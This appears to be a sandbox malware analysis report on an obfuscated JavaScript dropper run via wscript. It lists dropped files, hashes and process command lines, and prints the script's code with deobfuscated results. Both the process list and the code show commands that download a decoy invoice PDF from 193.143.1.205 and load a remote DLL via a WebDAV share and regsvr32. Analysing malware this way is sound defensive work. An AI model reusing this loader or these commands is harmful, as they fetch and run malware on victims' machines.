SSDEEP:	1536:0tlkIi4M2MXZcFVZNt0zfIagnbSLDII+D61S8:03kf4MlpyZN+gbE8pD61L
MD5:	7113425405A05E110DC458BBF93F608A
SHA1:	88123C4AD0C5E5AFB0A3D4E9A43EAFDF7C4EBAAF
SHA-256:	7E5C3C23B9F730818CDC71D7A2EA01FE57F03C03118D477ADB18FA6A8DBDBC46
SHA-512:	6AFE246B0B5CD5DE74F60A19E31822F83CCA274A61545546BDA90DDE97C84C163CB1D4277D0F4E0F70F1E4DE4B76D1DEB22992E44030E28EB9E56A7EA2AB5E8D
Malicious:	false
Preview:	0...u0...\...0....H........0i1.0...U....US1.0...U....DigiCert, Inc.1A0?..U...8DigiCert Trusted G4 Code Signing RSA4096 SHA384 2021 CA1..240807121815Z..240814121815Z0..~.0!.......0.E....[0...210531000001Z0!...7g...(..^`.x.l...210531000001Z0!...\./M.8..>.f.....210531000001Z0!...B.Sh...f...s.0..210531000001Z0!..../n...h..7....>..210601000001Z0!....0..>5..aN.u{D..210601000001Z0!...-...qpWa.!n.....210601000001Z0!..."f...\..N.....X..210601000001Z0!...in.H...[u...]....210602000001Z0!......`......._.]...210602000001Z0!...{..e..i......=..210602000001Z0!......S....fNj'.wy..210602000001Z0!......C.lm..B.*.....210602000001Z0!... .}...\|.,dk...+..210603000001Z0!...U.K....o.".Rj..210603000001Z0!.....A...K.ZpK..'h..210603000001Z0!.....&}{ ......l..210603000001Z0!...:.m...I.p.;..v..210604000001Z0!...1"uw3..Gou.qg.q..210607000001Z0!...1.o}...c/...-R}..210608000001Z0!................210608000001Z0!...[.N.d............210609000001Z0!......x..i........210610000001Z0!...(... (..#.^.f...210

C:\Users\user\AppData\Roaming\Adobe\Acrobat\DC\Security\CRLCache\DF22CF8B8C3B46C10D3D5C407561EABEB57F8181.crl

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	data
Category:	dropped
Size (bytes):	737
Entropy (8bit):	7.501268097735403
Encrypted:	false
SSDEEP:	12:yeRLaWQMnFQlRKfdFfBy6T6FYoX0fH8PkwWWOxPLA3jw/fQMlNdP8LOUa:y2GWnSKfdtw46FYfP1icPLHCfa
MD5:	5274D23C3AB7C3D5A4F3F86D4249A545
SHA1:	8A3778F5083169B281B610F2036E79AEA3020192
SHA-256:	8FEF0EEC745051335467846C2F3059BD450048E744D83EBE6B7FD7179A5E5F97
SHA-512:	FC3E30422A35A78C93EDB2DAD6FAF02058FC37099E9CACD639A079DF70E650FEC635CF7592FFB069F23E90B47B0D7CF3518166848494A35AF1E10B50BB177574
Malicious:	false
Preview:	0...0.....0....H........0b1.0...U....US1.0...U....DigiCert Inc1.0...U....www.digicert.com1!0...U....DigiCert Trusted Root G4..240806194648Z..240827194648Z.00.0...U.#..0.......q]dL..g?....O0...U........0....H.............vz..@.Nm...6d...t;.Jx?....6...p...#.[.......o.q...;.........?......o...^p0R.......~....)....i.n;A.n.z..O~..%=..s..W.4.+........G...*..=....xen$_i"s..\...L..4../<.4...G.....L...c..k@.J.rC.4h.c.ck./.Q-r53..a#.8#......0.n......a.-'..S. .>..xAKo.k.....;.D>....sb '<..-o.KE...X!i.].c.....o~.q........D...`....N... W:{.3......a@....i....#./..eQ...e.......W.s..V:.38..U.H{.>.....#....?{.....bYAk'b0on..Gb..-..).."q2GO<S.C...FsY!D....x..]4.....X....Y...Rj.....I.96$.4ZQ&..$,hC..H.%..hE....

C:\Windows\ServiceProfiles\LocalService\AppData\Local\FontCache\Fonts\Download-1.tmp

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	55
Entropy (8bit):	4.306461250274409
Encrypted:	false
SSDEEP:	3:YDQRWu83XfAw2fHbY:YMRl83Xt2f7Y
MD5:	DCA83F08D448911A14C22EBCACC5AD57
SHA1:	91270525521B7FE0D986DB19747F47D34B6318AD
SHA-256:	2B4B2D4A06044AD0BD2AE3287CFCBECD90B959FEB2F503AC258D7C0A235D6FE9
SHA-512:	96F3A02DC4AE302A30A376FC7082002065C7A35ECB74573DE66254EFD701E8FD9E9D867A2C8ABEB4C482738291B715D4965A0D2412663FDF1EE6CBC0BA9FBACA
Malicious:	false
Preview:	{"fontSetUri":"fontset-2017-04.json","baseUri":"fonts"}

Static File Info

General

File type:	ASCII text, with very long lines (16024), with CRLF line terminators
Entropy (8bit):	4.914767786809077
TrID:
File name:	22742867259569153.js
File size:	19'461 bytes
MD5:	03d06c1d94e0d6cee2a0ccbbe520c92c
SHA1:	eeca4b979b395a69ad47a7e7f6b45f36d4f7ba25
SHA256:	0104ffc2427d8ab81a6ffa3c5deb2833394e36b56a3656836d92d15d0f9208b2
SHA512:	fb23ece28569c27d9ae4f73d062b36e666668eab9320d084a597d931c56d5c7e7526abf9c87bcf886e014a5c6bff16bd8dd90ae8cb2a8c263fef92494e763519
SSDEEP:	384:JVIJStdI60H4DgXCb8bglPvAYSrdXU6RLrUkc6jZ4PTFltXxBzlupkcRbQoJJl8C:JVjq60H4DgXCb8bglPvAYSrdXU6RLrU2
TLSH:	719263E090408C8F46F79095EAFA06DA259F0649DDC9D18F026610ADDFFB9F4B4C26F6
File Content Preview:	function stdmxlmye(){pqhkvanrz=[1031,3079,5127,4103,2055,3072];var exkafai=this[mkzyl+mkldk+cytfnx+eeocluoq+wxyvjsmv+deynl+dsviavc+mzyakr](this[ejvyt+ugwnbc+vabxvyfeg+cytfnx+ovtrqvkq+mkzyl+mzyakr][nmcpdoyw+cytfnx+wxyvjsmv+mkldk+mzyakr+wxyvjsmv+eumanxfkd+a

File Icon


Icon Hash:	68d69b8bb6aa9a86

Target ID:	0
Start time:	00:03:07
Start date:	11/01/2025
Path:	C:\Windows\System32\wscript.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\22742867259569153.js"
Imagebase:	0x7ff7bb180000
File size:	170'496 bytes
MD5 hash:	A47CBE969EA935BDD3AB568BB126BC80
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	2
Start time:	00:03:08
Start date:	11/01/2025
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\154993128028088.dll
Imagebase:	0x7ff701f20000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	3
Start time:	00:03:08
Start date:	11/01/2025
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6ee680000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	4
Start time:	00:03:08
Start date:	11/01/2025
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Imagebase:	0x7ff6cb6b0000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	5
Start time:	00:03:16
Start date:	11/01/2025
Path:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"
Imagebase:	0x7ff6e8200000
File size:	5'641'176 bytes
MD5 hash:	24EAD1C46A47022347DC0F05F6EFBB8C
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	6
Start time:	00:03:16
Start date:	11/01/2025
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	cmd /c net use \\193.143.1.205@8888\davwwwroot\
Imagebase:	0x7ff701f20000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	7
Start time:	00:03:16
Start date:	11/01/2025
Path:	C:\Windows\System32\net.exe
Wow64 process (32bit):	false
Commandline:	net use \\193.143.1.205@8888\davwwwroot\
Imagebase:	0x7ff6ee1f0000
File size:	59'904 bytes
MD5 hash:	0BD94A338EEA5A4E1F2830AE326E6D19
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	8
Start time:	00:03:17
Start date:	11/01/2025
Path:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215
Imagebase:	0x7ff79c940000
File size:	3'581'912 bytes
MD5 hash:	9B38E8E8B6DD9622D24B53E095C5D9BE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	9
Start time:	00:03:18
Start date:	11/01/2025
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS
Imagebase:	0x7ff67e6d0000
File size:	55'320 bytes
MD5 hash:	B7F884C1B74A263F746EE12A5F7C9F6A
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	10
Start time:	00:03:18
Start date:	11/01/2025
Path:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2244 --field-trial-handle=1624,i,4181762656406435566,11372842730605597265,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8
Imagebase:	0x7ff79c940000
File size:	3'581'912 bytes
MD5 hash:	9B38E8E8B6DD9622D24B53E095C5D9BE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

JavaScript Code

Call Graph

Executed
Not Executed

Script:

Code
0	function stdmxlmye() {	stdmxlmye() ➔ undefined
1	pqhkvanrz = [ 1031, 3079, 5127, 4103, 2055, 3072 ];
2	var exkafai = this[mkzyl + mkldk + cytfnx + eeocluoq + wxyvjsmv + deynl + dsviavc + mzyakr] ( this[ejvyt + ugwnbc + vabxvyfeg + cytfnx + ovtrqvkq + mkzyl + mzyakr][nmcpdoyw + cytfnx + wxyvjsmv + mkldk + mzyakr + wxyvjsmv + eumanxfkd + afxscosob + fgecogp + wxyvjsmv + vabxvyfeg + mzyakr] ( ejvyt + ugwnbc + vabxvyfeg + cytfnx + ovtrqvkq + mkzyl + mzyakr + kgglrpri + ugwnbc + fjwmfw + wxyvjsmv + kcnpfen + kcnpfen ) [okpkylb + wxyvjsmv + wqoxgkmce + okpkylb + wxyvjsmv + mkldk + fbvfpd] ( dbyqgj + hsdxthuw + ybcrr + awehwjjdr + azjecxtup + nmcpdoyw + wobhnlvfz + okpkylb + okpkylb + ybcrr + ksqfpd + lhxduh + azjecxtup + wobhnlvfz + ugwnbc + ybcrr + okpkylb + iwhra + nmcpdoyw + wfqcop + dsviavc + mzyakr + cytfnx + wfqcop + kcnpfen + qxwdym + nlijlgb + mkldk + dsviavc + wxyvjsmv + kcnpfen + iwhra + deynl + dsviavc + mzyakr + wxyvjsmv + cytfnx + dsviavc + mkldk + mzyakr + ovtrqvkq + wfqcop + dsviavc + mkldk + kcnpfen + iwhra + lizuzhif + wfqcop + vabxvyfeg + mkldk + kcnpfen + wxyvjsmv ), 16 );	Windows Script Host.CreateObject("WScript.Shell") ➔ RegRead("HKEY_CURRENT_USER\Control Panel\International\Locale") ➔ "00000C00" parseInt("00000C00",16) ➔ 3072
3	for ( wmruq = 0 ; wmruq < pqhkvanrz[kcnpfen + wxyvjsmv + dsviavc + wqoxgkmce + mzyakr + fjwmfw] ; ++ wmruq )
4	{
5	if ( exkafai == pqhkvanrz[wmruq] )
6	{
7	exkafai = true;
8	break ;
9	}
10	}
11	if ( exkafai !== true )
12	this[ejvyt + ugwnbc + vabxvyfeg + cytfnx + ovtrqvkq + mkzyl + mzyakr][jrenve + fibfss + ovtrqvkq + mzyakr] ( );
13	this[ejvyt + ugwnbc + vabxvyfeg + cytfnx + ovtrqvkq + mkzyl + mzyakr][nmcpdoyw + cytfnx + wxyvjsmv + mkldk + mzyakr + wxyvjsmv + eumanxfkd + afxscosob + fgecogp + wxyvjsmv + vabxvyfeg + mzyakr] ( ejvyt + ugwnbc + vabxvyfeg + cytfnx + ovtrqvkq + mkzyl + mzyakr + kgglrpri + ugwnbc + fjwmfw + wxyvjsmv + kcnpfen + kcnpfen ) [cytfnx + fibfss + dsviavc] ( vabxvyfeg + hscwnrze + fbvfpd + qxwdym + frpllczcv + vabxvyfeg + qxwdym + mkzyl + wfqcop + taxxpdqdr + wxyvjsmv + cytfnx + eeocluoq + fjwmfw + wxyvjsmv + kcnpfen + kcnpfen + kgglrpri + wxyvjsmv + ghqrhlbvr + wxyvjsmv + qxwdym + vhthooew + nmcpdoyw + wfqcop + hscwnrze + hscwnrze + mkldk + dsviavc + fbvfpd + qxwdym + rjszfgost + deynl + dsviavc + uxltfc + wfqcop + quynyz + wxyvjsmv + vhthooew + ejvyt + wxyvjsmv + afxscosob + okpkylb + wxyvjsmv + vpjxc + fibfss + wxyvjsmv + eeocluoq + mzyakr + qxwdym + vhthooew + eumanxfkd + fibfss + mzyakr + mupawiyi + ovtrqvkq + kcnpfen + wxyvjsmv + qxwdym + nflli + mzyakr + wxyvjsmv + hscwnrze + mkzyl + nflli + iwhra + ovtrqvkq + dsviavc + uxltfc + wfqcop + ovtrqvkq + vabxvyfeg + wxyvjsmv + kgglrpri + mkzyl + fbvfpd + ywtqfp + qxwdym + fjwmfw + mzyakr + mzyakr + mkzyl + qgtlx + frpllczcv + frpllczcv + kfptrrhu + ipjtl + niupkuuz + kgglrpri + kfptrrhu + uaafyx + niupkuuz + kgglrpri + kfptrrhu + kgglrpri + yklur + xfmudlws + taqlmic + frpllczcv + ovtrqvkq + dsviavc + uxltfc + wfqcop + ovtrqvkq + vabxvyfeg + wxyvjsmv + kgglrpri + mkzyl + fjwmfw + mkzyl + rjszfgost + uihboc + uihboc + eeocluoq + mzyakr + mkldk + cytfnx + mzyakr + qxwdym + nflli + mzyakr + wxyvjsmv + hscwnrze + mkzyl + nflli + iwhra + ovtrqvkq + dsviavc + uxltfc + wfqcop + ovtrqvkq + vabxvyfeg + wxyvjsmv + kgglrpri + mkzyl + fbvfpd + ywtqfp + uihboc + uihboc + vabxvyfeg + hscwnrze + fbvfpd + qxwdym + frpllczcv + vabxvyfeg + qxwdym + dsviavc + wxyvjsmv + mzyakr + qxwdym + fibfss + eeocluoq + wxyvjsmv + qxwdym + iwhra + iwhra + kfptrrhu + ipjtl + niupkuuz + kgglrpri + kfptrrhu + uaafyx + niupkuuz + kgglrpri + kfptrrhu + kgglrpri + yklur + xfmudlws + taqlmic + aqlhwbwh + wimyde + wimyde + wimyde + wimyde + iwhra + fbvfpd + mkldk + uxltfc + taxxpdqdr + taxxpdqdr + taxxpdqdr + cytfnx + wfqcop + wfqcop + mzyakr + iwhra + uihboc + uihboc + vabxvyfeg + hscwnrze + fbvfpd + qxwdym + frpllczcv + vabxvyfeg + qxwdym + cytfnx + wxyvjsmv + wqoxgkmce + eeocluoq + uxltfc + cytfnx + niupkuuz + yklur + qxwdym + frpllczcv + eeocluoq + qxwdym + iwhra + iwhra + kfptrrhu + ipjtl + niupkuuz + kgglrpri + kfptrrhu + uaafyx + niupkuuz + kgglrpri + kfptrrhu + kgglrpri + yklur + xfmudlws + taqlmic + aqlhwbwh + wimyde + wimyde + wimyde + wimyde + iwhra + fbvfpd + mkldk + uxltfc + taxxpdqdr + taxxpdqdr + taxxpdqdr + cytfnx + wfqcop + wfqcop + mzyakr + iwhra + kfptrrhu + taqlmic + uaafyx + ipjtl + ipjtl + niupkuuz + kfptrrhu + yklur + wimyde + xfmudlws + yklur + wimyde + xfmudlws + wimyde + wimyde + kgglrpri + fbvfpd + kcnpfen + kcnpfen, 0, false );	Windows Script Host.CreateObject("WScript.Shell") ➔ run("cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\invoice.pdf http://193.143.1.205/invoice.php"&&start %temp%\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\154993128028088.dll",0,false) ➔ 0
14	}
15	fgecogp = "m";
16	fgecogp = "B";
17	fgecogp = "I";
18	fgecogp = "x";
19	fgecogp = "I";
20	fgecogp = "T";
21	fgecogp = "o";
22	fgecogp = "e";
23	fgecogp = "E";
24	fgecogp = "t";
25	fgecogp = "L";
26	fgecogp = "R";
27	fgecogp = "Y";
28	fgecogp = "G";
29	fgecogp = "m";
30	fgecogp = "P";
31	fgecogp = "z";
32	fgecogp = "c";
33	fgecogp = "y";
34	fgecogp = "Y";
35	fgecogp = "P";
36	fgecogp = "j";
37	fbvfpd = "U";
38	fbvfpd = "U";
39	fbvfpd = "t";
40	fbvfpd = "b";
41	fbvfpd = "d";
42	fbvfpd = "j";
43	fbvfpd = "s";
44	fbvfpd = "v";
45	fbvfpd = "s";
46	fbvfpd = "q";
47	fbvfpd = "f";
48	fbvfpd = "h";
49	fbvfpd = "e";
50	fbvfpd = "p";
51	fbvfpd = "E";
52	fbvfpd = "g";
53	fbvfpd = "M";
54	fbvfpd = "Q";
55	fbvfpd = "F";
56	fbvfpd = "j";
57	fbvfpd = "w";
58	fbvfpd = "I";
59	fbvfpd = "d";
60	fbvfpd = "A";
61	fbvfpd = "R";
62	fbvfpd = "D";
63	fbvfpd = "T";
64	fbvfpd = "A";
65	fbvfpd = "u";
66	fbvfpd = "o";
67	fbvfpd = "N";
68	fbvfpd = "C";
69	fbvfpd = "T";
70	fbvfpd = "o";
71	fbvfpd = "E";
72	fbvfpd = "H";
73	fbvfpd = "q";
74	fbvfpd = "I";
75	fbvfpd = "K";
76	fbvfpd = "u";
77	fbvfpd = "u";
78	fbvfpd = "t";
79	fbvfpd = "B";
80	fbvfpd = "d";
81	eumanxfkd = "y";
82	eumanxfkd = "O";
83	hscwnrze = "t";
84	hscwnrze = "M";
85	hscwnrze = "l";
86	hscwnrze = "k";
87	hscwnrze = "s";
88	hscwnrze = "Q";
89	hscwnrze = "O";
90	hscwnrze = "T";
91	hscwnrze = "m";
92	mzyakr = "L";
93	mzyakr = "W";
94	mzyakr = "B";
95	mzyakr = "U";
96	mzyakr = "M";
97	mzyakr = "s";
98	mzyakr = "q";
99	mzyakr = "I";
100	mzyakr = "x";
101	mzyakr = "q";
102	mzyakr = "V";
103	mzyakr = "x";
104	mzyakr = "o";
105	mzyakr = "M";
106	mzyakr = "u";
107	mzyakr = "D";
108	mzyakr = "l";
109	mzyakr = "O";
110	mzyakr = "N";
111	mzyakr = "P";
112	mzyakr = "I";
113	mzyakr = "T";
114	mzyakr = "Z";
115	mzyakr = "e";
116	mzyakr = "m";
117	mzyakr = "D";
118	mzyakr = "Y";
119	mzyakr = "q";
120	mzyakr = "J";
121	mzyakr = "q";
122	mzyakr = "X";
123	mzyakr = "I";
124	mzyakr = "I";
125	mzyakr = "a";
126	mzyakr = "z";
127	mzyakr = "e";
128	mzyakr = "T";
129	mzyakr = "j";
130	mzyakr = "p";
131	mzyakr = "J";
132	mzyakr = "t";
133	qgtlx = "x";
134	qgtlx = "k";
135	qgtlx = "d";
136	qgtlx = "g";
137	qgtlx = "H";
138	qgtlx = "h";
139	qgtlx = "w";
140	qgtlx = "L";
141	qgtlx = "F";
142	qgtlx = "z";
143	qgtlx = "C";
144	qgtlx = "l";
145	qgtlx = "b";
146	qgtlx = "k";
147	qgtlx = "G";
148	qgtlx = "F";
149	qgtlx = "s";
150	qgtlx = "m";
151	qgtlx = "i";
152	qgtlx = "D";
153	qgtlx = "V";
154	qgtlx = "u";
155	qgtlx = "b";
156	qgtlx = "u";
157	qgtlx = "n";
158	qgtlx = "C";
159	qgtlx = "o";
160	qgtlx = "e";
161	qgtlx = "m";
162	qgtlx = "P";
163	qgtlx = "X";
164	qgtlx = "s";
165	qgtlx = "i";
166	qgtlx = "E";
167	qgtlx = "j";
168	qgtlx = "S";
169	qgtlx = "w";
170	qgtlx = "S";
171	qgtlx = ":";
172	taqlmic = "G";
173	taqlmic = "w";
174	taqlmic = "s";
175	taqlmic = "z";
176	taqlmic = "i";
177	taqlmic = "e";
178	taqlmic = "A";
179	taqlmic = "S";
180	taqlmic = "L";
181	taqlmic = "G";
182	taqlmic = "a";
183	taqlmic = "N";
184	taqlmic = "j";
185	taqlmic = "M";
186	taqlmic = "L";
187	taqlmic = "L";
188	taqlmic = "j";
189	taqlmic = "S";
190	taqlmic = "N";
191	taqlmic = "C";
192	taqlmic = "o";
193	taqlmic = "N";
194	taqlmic = "U";
195	taqlmic = "U";
196	taqlmic = "x";
197	taqlmic = "h";
198	taqlmic = "e";
199	taqlmic = "i";
200	taqlmic = "x";
201	taqlmic = "j";
202	taqlmic = "V";
203	taqlmic = "T";
204	taqlmic = "b";
205	taqlmic = "P";
206	taqlmic = "e";
207	taqlmic = "5";
208	wfqcop = "c";
209	wfqcop = "Y";
210	wfqcop = "O";
211	wfqcop = "T";
212	wfqcop = "Y";
213	wfqcop = "r";
214	wfqcop = "e";
215	wfqcop = "e";
216	wfqcop = "l";
217	wfqcop = "A";
218	wfqcop = "p";
219	wfqcop = "d";
220	wfqcop = "Z";
221	wfqcop = "Z";
222	wfqcop = "r";
223	wfqcop = "y";
224	wfqcop = "M";
225	wfqcop = "b";
226	wfqcop = "Q";
227	wfqcop = "a";
228	wfqcop = "e";
229	wfqcop = "X";
230	wfqcop = "c";
231	wfqcop = "o";
232	wfqcop = "L";
233	wfqcop = "X";
234	wfqcop = "g";
235	wfqcop = "S";
236	wfqcop = "h";
237	wfqcop = "X";
238	wfqcop = "j";
239	wfqcop = "H";
240	wfqcop = "V";
241	wfqcop = "w";
242	wfqcop = "Q";
243	wfqcop = "Z";
244	wfqcop = "P";
245	wfqcop = "L";
246	wfqcop = "p";
247	wfqcop = "L";
248	wfqcop = "C";
249	wfqcop = "r";
250	wfqcop = "o";
251	ksqfpd = "G";
252	ksqfpd = "u";
253	ksqfpd = "D";
254	ksqfpd = "i";
255	ksqfpd = "b";
256	ksqfpd = "A";
257	ksqfpd = "M";
258	ksqfpd = "e";
259	ksqfpd = "T";
260	ksqfpd = "R";
261	ksqfpd = "B";
262	ksqfpd = "Z";
263	ksqfpd = "r";
264	ksqfpd = "G";
265	ksqfpd = "A";
266	ksqfpd = "H";
267	ksqfpd = "m";
268	ksqfpd = "y";
269	ksqfpd = "N";
270	ksqfpd = "N";
271	kcnpfen = "v";
272	kcnpfen = "u";
273	kcnpfen = "N";
274	kcnpfen = "P";
275	kcnpfen = "m";
276	kcnpfen = "p";
277	kcnpfen = "W";
278	kcnpfen = "F";
279	kcnpfen = "S";
280	kcnpfen = "u";
281	kcnpfen = "l";
282	uihboc = "z";
283	uihboc = "G";
284	uihboc = "L";
285	uihboc = "b";
286	uihboc = "C";
287	uihboc = "P";
288	uihboc = "g";
289	uihboc = "w";
290	uihboc = "G";
291	uihboc = "Q";
292	uihboc = "Y";
293	uihboc = "M";
294	uihboc = "L";
295	uihboc = "J";
296	uihboc = "o";
297	uihboc = "u";
298	uihboc = "H";
299	uihboc = "w";
300	uihboc = "Q";
301	uihboc = "w";
302	uihboc = "g";
303	uihboc = "h";
304	uihboc = "S";
305	uihboc = "K";
306	uihboc = "C";
307	uihboc = "y";
308	uihboc = "J";
309	uihboc = "j";
310	uihboc = "c";
311	uihboc = "U";
312	uihboc = "e";
313	uihboc = "J";
314	uihboc = "k";
315	uihboc = "G";
316	uihboc = "c";
317	uihboc = "x";
318	uihboc = "u";
319	uihboc = "s";
320	uihboc = "Y";
321	uihboc = "p";
322	uihboc = "h";
323	uihboc = "l";
324	uihboc = "&";
325	hsdxthuw = "H";
326	hsdxthuw = "f";
327	hsdxthuw = "l";
328	hsdxthuw = "p";
329	hsdxthuw = "l";
330	hsdxthuw = "W";
331	hsdxthuw = "m";
332	hsdxthuw = "D";
333	hsdxthuw = "A";
334	hsdxthuw = "t";
335	hsdxthuw = "a";
336	hsdxthuw = "D";
337	hsdxthuw = "A";
338	hsdxthuw = "i";
339	hsdxthuw = "V";
340	hsdxthuw = "s";
341	hsdxthuw = "a";
342	hsdxthuw = "z";
343	hsdxthuw = "C";
344	hsdxthuw = "i";
345	hsdxthuw = "k";
346	hsdxthuw = "h";
347	hsdxthuw = "D";
348	hsdxthuw = "N";
349	hsdxthuw = "N";
350	hsdxthuw = "a";
351	hsdxthuw = "v";
352	hsdxthuw = "w";
353	hsdxthuw = "o";
354	hsdxthuw = "W";
355	hsdxthuw = "E";
356	hsdxthuw = "b";
357	hsdxthuw = "F";
358	hsdxthuw = "C";
359	hsdxthuw = "k";
360	hsdxthuw = "m";
361	hsdxthuw = "h";
362	hsdxthuw = "w";
363	hsdxthuw = "R";
364	hsdxthuw = "C";
365	hsdxthuw = "K";
366	taxxpdqdr = "m";
367	taxxpdqdr = "O";
368	taxxpdqdr = "y";
369	taxxpdqdr = "v";
370	taxxpdqdr = "D";
371	taxxpdqdr = "w";
372	okpkylb = "B";
373	okpkylb = "b";
374	okpkylb = "r";
375	okpkylb = "o";
376	okpkylb = "c";
377	okpkylb = "F";
378	okpkylb = "U";
379	okpkylb = "x";
380	okpkylb = "K";
381	okpkylb = "J";
382	okpkylb = "I";
383	okpkylb = "m";
384	okpkylb = "E";
385	okpkylb = "A";
386	okpkylb = "s";
387	okpkylb = "W";
388	okpkylb = "G";
389	okpkylb = "G";
390	okpkylb = "W";
391	okpkylb = "m";
392	okpkylb = "f";
393	okpkylb = "o";
394	okpkylb = "v";
395	okpkylb = "i";
396	okpkylb = "T";
397	okpkylb = "Q";
398	okpkylb = "c";
399	okpkylb = "S";
400	okpkylb = "L";
401	okpkylb = "C";
402	okpkylb = "j";
403	okpkylb = "R";
404	okpkylb = "H";
405	okpkylb = "H";
406	okpkylb = "F";
407	okpkylb = "K";
408	okpkylb = "p";
409	okpkylb = "t";
410	okpkylb = "U";
411	okpkylb = "i";
412	okpkylb = "Q";
413	okpkylb = "A";
414	okpkylb = "R";
415	awehwjjdr = "K";
416	awehwjjdr = "I";
417	awehwjjdr = "d";
418	awehwjjdr = "Y";
419	ovtrqvkq = "t";
420	ovtrqvkq = "b";
421	ovtrqvkq = "w";
422	ovtrqvkq = "D";
423	ovtrqvkq = "c";
424	ovtrqvkq = "n";
425	ovtrqvkq = "T";
426	ovtrqvkq = "G";
427	ovtrqvkq = "A";
428	ovtrqvkq = "y";
429	ovtrqvkq = "g";
430	ovtrqvkq = "V";
431	ovtrqvkq = "J";
432	ovtrqvkq = "s";
433	ovtrqvkq = "D";
434	ovtrqvkq = "V";
435	ovtrqvkq = "E";
436	ovtrqvkq = "v";
437	ovtrqvkq = "P";
438	ovtrqvkq = "q";
439	ovtrqvkq = "P";
440	ovtrqvkq = "k";
441	ovtrqvkq = "d";
442	ovtrqvkq = "X";
443	ovtrqvkq = "p";
444	ovtrqvkq = "E";
445	ovtrqvkq = "c";
446	ovtrqvkq = "x";
447	ovtrqvkq = "O";
448	ovtrqvkq = "I";
449	ovtrqvkq = "m";
450	ovtrqvkq = "Q";
451	ovtrqvkq = "y";
452	ovtrqvkq = "U";
453	ovtrqvkq = "d";
454	ovtrqvkq = "k";
455	ovtrqvkq = "q";
456	ovtrqvkq = "t";
457	ovtrqvkq = "i";
458	cytfnx = "v";
459	cytfnx = "l";
460	cytfnx = "i";
461	cytfnx = "s";
462	cytfnx = "P";
463	cytfnx = "y";
464	cytfnx = "q";
465	cytfnx = "r";
466	vhthooew = "g";
467	vhthooew = "h";
468	vhthooew = "N";
469	vhthooew = "O";
470	vhthooew = "S";
471	vhthooew = "u";
472	vhthooew = "F";
473	vhthooew = "C";
474	vhthooew = "A";
475	vhthooew = "z";
476	vhthooew = "p";
477	vhthooew = "-";
478	iwhra = "N";
479	iwhra = "k";
480	iwhra = "H";
481	iwhra = "c";
482	iwhra = "V";
483	iwhra = "J";
484	iwhra = "Z";
485	iwhra = "k";
486	iwhra = "x";
